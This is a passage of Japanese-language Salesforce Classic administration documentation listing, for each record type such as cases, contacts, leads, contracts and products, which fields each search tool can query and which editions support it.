ケースを登録
したユーザの)

[Web 氏名]

(オンラインで
ケースを登録
したユーザの)

[Web 電話]

(オンラインで
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グローバル検索標準ルックアップ検
索

高度な検索サイドバー検索検索可能な項目

ケースを登録した
ユーザの)

すべてのカスタム自
動採番項目と、外部
ID 設定されたすべて
のカスタム項目
(先行するゼロは入力
不要です)。

テキスト、テキスト
エリア、ロングテキ
ストエリア、リッチ
テキストエリア、
メール、電話のすべ
てのカスタム項目

検索可能な項目: Chatter フィード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

フィード内の情報を検索するには、グローバル検索またはフィード検索を使用
します。サイドバー検索と高度な検索は、どちらも Chatter フィード内の情報の
検索には適していません。

メモ: グローバル検索およびフィード検索では、ファイルの一致や (コメン
トではなく) 投稿で共有されたリンク名が返されます。

フィード検索グローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

@名前  (名前 は
ユーザ名)

コメント内容

コメント記入者
名

ファイル名

グループ名

リンク

投稿元 (グ
ループ、人、ま
たはレコード名
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フィード検索グローバル検索高度な検索サイドバー検索検索可能な項目

投稿内容

検索可能な項目: Chatter グループ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらも Chatter グループの検索には適してい
ません。Chatter グループを検索するには、グローバル検索または [グループ] タ
ブの検索ツールを使用します。グローバル検索結果には、アーカイブ済みグルー
プが含まれます。

[グループ] タ
ブ

グローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

説明

グループ名

検索可能な項目: コーチング

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

名前

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目
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検索可能な項目: コミュニティ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

コミュニティ名

検索可能な項目: 取引先責任者

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

アシスタン
ト

アシスタン
ト電話

部署

説明

メール

Fax

名

名(ローカ
ル)

自宅電話

姓

姓(ローカ
ル)

町名・番地
(郵送先)

ミドルネー
ム
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

ミドルネーム
(ローカル)

携帯

町名・番地(その
他)

電話(その他)

電話

接尾辞

タイトル

すべてのカスタ
ム自動採番項目
と、外部 ID 設定
されたすべての
カスタム項目
(先行するゼロは
入力不要です)。

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべてのカスタ
ム項目
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検索可能な項目: Salesforce CRM Content

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらもコンテンツの検索には適していませ
ん。コンテンツを検索するには、グローバル検索 (結果はファイルとして表示)

または [コンテンツ] タブの検索ツールを使用します。

[コンテンツ]
タブ

グローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

内容

説明

ファイル

所有者

タイトル

バージョン

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
(先行するゼロ
は入力不要で
す)。

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
ア、リッチテ
キストエリ
ア、メール、
電話のすべて
のカスタム項
目
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検索可能な項目: 契約

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

住所(請求先)

[名前(請求
先)]  (名と姓)

契約名

契約番号

説明

住所(納入先)

特記事項

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
(先行するゼロ
は入力不要で
す)。

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
ア、リッチテ
キストエリ
ア、メール、
電話のすべて
のカスタム項
目
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検索可能な項目: 契約品目名

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

名前

検索可能な項目: カスタムオブジェクト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクトがカスタムタブに関連付けられている場合にのみ、カス
タムオブジェクトレコードを Salesforce で検索できます。ユーザは、表示用のタ
ブを追加する必要はありません。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

名前

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

メールと電
話のすべて
のカスタム
項目
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリアの
すべてのカスタ
ム項目

検索可能な項目: D&B 企業

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

D&B 企業レコードにアクセスできるようにするには、組織で Data.com Prospector

または Data.com Clean を使用している必要があります。

グローバル検索高度な検索サイドバー検索検索可能な項目

市区郡(会社)

国(会社)

会社の説明

D-U-N-S 番号

Fax 番号

町名・番地(郵送
先)

第 1 住所

第 1 会社名

電話番号

株式コード

URL
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検索可能な項目: ディスカッション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ディスカッションでは、標準ルックアップ検索のみがサポートされています。

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

タイトル

検索可能な項目: ドキュメント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ドキュメントを検索するには、グローバル検索または [ドキュメント] タブの[Find

Document (ドキュメントの検索)]ボタンを使用します。サイドバー検索と高度な
検索は、どちらもドキュメントの検索には適していません。

[ドキュメン
ト] タブ

グローバル
検索

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

ドキュメン
ト名

内容

キーワード

すべての標
準テキスト
項目

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
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[ドキュメント]
タブ

グローバル検索標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

ア、メール、電
話のすべてのカ
スタム項目

検索可能な項目: エンタイトルメント

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

グローバル
検索

高度な検索高度なルッ
クアップ

標準ルック
アップ

サイドバー
検索

検索可能な
項目

エンタイト
ルメント名

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です。)

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
すべてのカ
スタム項目
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検索可能な項目: 外部オブジェクト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Connect を使用
可能なエディション:
Developer Edition。有料オ
プションで使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

外部オブジェクトは、Salesforce 組織外に保存されているデータにアクセスしま
す。Salesforce システム管理者が、検索可能な外部オブジェクトを制御します。
検索される外部オブジェクト項目は、外部システムが検索を処理する方法に応
じて異なります。検索結果が期待とは異なる場合、英数字のみが含まれる、大
文字と小文字を区別した検索文字列を使用してください。結果がまだ期待とは
異なる場合、具体的な外部システムの検索に関する推奨事項をシステム管理者
に問い合わせてください。

メモ: ルックアップ検索は、外部参照関係項目または間接参照関係項目で
は使用できません。
• 外部参照関係項目を編集するには、親レコードの [外部 ID] 標準項目

の値を手動で入力します。
• 間接参照関係項目を編集するには、親レコードの対象項目の値を手動で

入力します。対象項目は、間接参照関係項目が作成されたときに選択さ
れた、External ID および Unique 属性を持つカスタム項目です。関
連レコードを判別するために、Salesforceによって対象項目の値が子オブ
ジェクトの間接参照関係項目の値と照合されます。

グローバル検索高度な検索サイドバー検索検索可能な項目

テキスト、テキス
トエリア、ロング
テキストエリア項
目

検索可能な項目: ファイル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらもファイルの検索には適していません。
ファイルを検索するには、グローバル検索または [ファイル] タブの検索ツール
を使用します。

[ファイル] タ
ブ

グローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

内容

説明

[拡張子]  (ppt

など)
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[ファイル] タブグローバル検索高度な検索サイドバー検索検索可能な項目

名前

所有者

すべてのカスタム自
動採番項目と、外部
ID 設定されたすべて
のカスタム項目
(先行するゼロは入力
不要です)。

テキスト、テキスト
エリア、ロングテキ
ストエリア、リッチ
テキストエリア、
メール、電話のすべ
てのカスタム項目

検索可能な項目: 目標

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

目標名

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目
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検索可能な項目: アイデア

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

アイデア本文

説明

タイトル

検索可能な項目: ナレッジ記事

エディション

Salesforce ナレッジを使用
可能なインターフェース:
Salesforce Classic

Salesforce ナレッジを使用
可能なエディション:
Performance Edition および
Developer Edition と、
Service Cloud が付属する
Unlimited Edition

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

サイドバー検索と高度な検索は、どちらも記事の検索には適していません。記
事を検索するには、グローバル検索または [記事] タブのサイドバーにある検索
ツールを使用します。

[記事] タブグローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

すべての標準
テキスト項目

内容

ファイル

概要

タイトル

URL

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
(先行するゼロ
は入力不要で
す。)

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
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[記事] タブグローバル検索高度な検索サイドバー検索検索可能な項目

ア、リッチテキスト
エリア、メール、電
話のすべてのカスタ
ム項目

検索可能な項目: リード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: 取引が開始されると、リードレコードは Salesforce Classicで検索できな
くなります。取引開始済みのリードから作成された新しい取引先、取引先
責任者、または商談レコードは検索できます。

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

住所

会社

会社 D-U-N-S

番号

会社名(ローカ
ル)

説明

メール

Fax

名

名(ローカル)

姓

姓(ローカル)

ミドルネーム

携帯

電話

接尾辞

タイトル

すべてのカス
タム自動採番
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グローバル検索標準ルックアップ検
索

高度な検索サイドバー検索検索可能な項目

項目と、外部 ID 設定
されたすべてのカス
タム項目
(先行するゼロは入力
不要です)。

テキスト、テキスト
エリア、ロングテキ
ストエリア、リッチ
テキストエリア、
メール、電話のすべ
てのカスタム項目

検索可能な項目: Live Chat のトランスクリプト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

内容

スーパーバイザト
ランスクリプト本
文

検索可能な項目: マクロ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

名前
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検索可能な項目: 総計値

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

総計値名

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目

検索可能な項目: メモ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

内容

タイトル
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検索可能な項目: 稼働時間

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

名前

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です。)

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
すべてのカ
スタム項目
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検索可能な項目: 商談

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

商談名

取引先名

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
すべてのカ
スタム項目
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検索可能な項目: 注文

エディション

使用可能なエディション:
Salesforce Classic

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

住所(請求先)

コメント

説明

社内コメント

注文名

注文番号

注文参照番号

PO 番号

ご注文方法

住所(納入先)

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目
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検索可能な項目: 人

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらも人の検索には適していませんが、ユー
ザの検索には使用できます。「検索可能な項目: ユーザ」を参照してください。
人を検索するには、グローバル検索または [人] タブの検索ツールを使用します。

[人] タブグローバル検
索

高度な検索サイドバー検
索

検索可能な項
目

自己紹介

住所

メール

名

姓

名前

ニックネーム

電話

[レコード
ID]  (15 文字の
レコード ID の
み)

タイトル

ユーザ名

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
(先行するゼロ
は入力不要で
す)。

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
ア、リッチテ
キストエリ
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[人] タブグローバル検索高度な検索サイドバー検索検索可能な項目

ア、メール、電話の
すべてのカスタム項
目

メモ: コミュニティの他のパートナーおよび顧客は、プロファイルの非表示項目の情報を検索できません
が、会社の内部組織のユーザはこの情報を検索できます。

検索可能な項目: パフォーマンスサイクル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

名前

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目
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検索可能な項目: 個人取引先

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Enterprise Edition、
Unlimited Edition、および
Developer Edition

使用可能な個人取引先項
目は、使用している
Salesforce のエディション
によって異なります。

メモ: 個人取引先オブジェクトには、法人取引先オブジェクトと取引先責
任者オブジェクトの両方から取得した項目が含まれます。すべての検索語
は、すべての検索可能な法人取引先および取引先責任者項目と同時に比較
されます。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

取引先名

取引先名
(ローカル)

取引先番号

取引先 部門

アシスタン
ト

アシスタン
ト 電話

住所(請求
先)

説明

メール

Fax

自宅電話

町名・番地
(郵送先)

携帯

町名・番地
(その他)

電話(その
他)
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

住所(納入先)

株式コード

タイトル

Web サイト

すべてのカスタ
ム自動採番項目
と、外部 ID 設定
されたすべての
カスタム項目
(先行するゼロは
入力不要です。)

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべての取引先
および取引先責
任者カスタム項
目

検索可能な項目: 価格表

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索、サイドバー検索、高度な検索のいずれも、価格表の検索には
適していません。価格表を検索するには、[商品] タブの[価格表]領域を使用しま
す。

[商品] タブ
の検索

グローバル
検索

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

価格表 説明

価格表名
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検索可能な項目: 商品

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらも価格表や商品の検索には適していま
せん。商品を検索するには、グローバル検索、または、[商品] タブの[Find Products

(商品の検索)] 領域を使用します。

[商品] タブ
の検索

グローバル
検索

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

商品コード

商品 説明

商品名

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
すべてのカ
スタム項目
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検索可能な項目: 質問

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceの [アンサー] タブには、アンサーコミュニティに投稿されたすべての質
問が表示されます。

グローバル検索高度な検索サイドバー検索検索可能な項目

質問の内容

質問のタイトル

返信の内容

検索可能な項目: クイックテキスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

メッセージ

名前

検索可能な項目: 見積

エディション

使用可能なエディション:
Salesforce Classic

見積を使用可能なエディ
ション: Performance
Edition および Developer
Edition と、Sales Cloud が
付属する Professional
Edition、Enterprise
Edition、および Unlimited
Edition

グローバル検
索

標準ルック
アップ

高度な検索サイドバー検
索

検索可能な項
目

見積名

見積番号

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
ア、リッチテ
キストエリ
ア、メール、
電話のすべて
のカスタム項
目
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検索可能な項目: レポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

レポート名

検索可能な項目: 人員不在

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

不在数

説明

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

すべてのカスタ
ム項目

検索可能な項目: 報奨資金

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

名前

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目

検索可能な項目: 報奨資金種別

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

名前

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
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グローバル検索高度な検索サイドバー検索検索可能な項目

テキストエリア、リッチ
テキストエリア、メール、
電話のすべてのカスタム
項目

検索可能な項目: セルフサービスユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

セルフサービスユーザでは、標準ルックアップ検索のみがサポートされていま
す。

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

名

姓

検索可能な項目: サービス予約

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

予約番号

説明

件名

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべてのカスタ
ム項目

検索可能な項目: サービス契約

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

グローバル検索高度な検索サイドバー検索検索可能な項目

契約番号

説明

契約名

特記事項

検索可能な項目: サービス人員

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

名前

すべてのカ
スタム自動
採番項目
と、外部 ID

417

検索の設定Salesforce 組織の設定および管理



グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

設定されたすべ
てのカスタム項
目
(先行するゼロは
入力不要です)。

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべてのカスタ
ム項目

検索可能な項目: サービス人員スキル

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

人員スキル
数

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

リア、ロングテ
キストエリア、
リッチテキスト
エリア、メー
ル、電話のすべ
てのカスタム項
目

検索可能な項目: サービステリトリー

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

名前

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

ル、電話のすべ
てのカスタム項
目

検索可能な項目: サービステリトリーメンバー

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

メンバー数

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
ア、メー
ル、電話の
すべてのカ
スタム項目
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検索可能な項目: スキル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

スキル名

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
(先行するゼロは入
力不要です)。

テキスト、テキス
トエリア、ロング
テキストエリア、
リッチテキストエ
リア、メール、電
話のすべてのカス
タム項目

検索可能な項目: ソリューション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サイドバー検索と高度な検索は、どちらもソリューションの検索には適してい
